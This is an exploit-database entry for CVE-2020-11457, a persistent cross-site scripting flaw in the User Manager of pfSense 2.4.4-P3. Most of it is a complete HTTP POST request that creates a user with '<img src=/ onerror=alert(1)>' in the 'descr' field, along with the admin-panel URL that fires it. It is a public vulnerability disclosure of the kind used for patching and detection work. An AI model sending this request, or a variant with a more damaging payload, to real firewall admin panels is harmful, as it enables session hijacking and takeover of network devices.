pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting

# Exploit Title: pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.pfsense.org
# Version: PfSense 2.4.4-P3
# Tested on: FreeBSD 11.2-RELEASE-p10
# CVE : CVE-2020-11457

# Vulnerability Details
# Description :  A persistent cross-site scripting vulnerability exists within the 'User Manager' functionality of the pfSense administration panel.
# Vulnerable Parameter : descr 


# POC
# Exploit Details : The following request will create a user in the 'User Manager' functionality with an XSS payload as the Full Name.  
# This payload can be triggered by navigating to "https://TARGET/system_usermanager_addprivs.php?userid=0" where userid is 
# the id of the user containing the payload.


POST /system_usermanager.php?act=new HTTP/1.1
Host: TARGET
Connection: close
Content-Length: 410
Cache-Control: max-age=0
Origin: https://TARGET
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Referer: https://TARGET/system_usermanager.php?act=new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ebd302521a887cef99f517e3ac6bdd7d

__csrf_magic=sid%3A3689bbf23a3350994d7543c082fc36d16397208d%2C1585881631&usernamefld=TEST&passwordfld1=password&passwordfld2=password&descr=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&expires=&webguicss=pfSense.css&webguifixedmenu=&webguihostnamemenu=&dashboardcolumns=2&name=&caref=5e643dcfd524e&keylen=2048&lifetime=3650&authorizedkeys=&ipsecpsk=&act=&userid=&privid=&certid=&utype=user&oldusername=&save=Save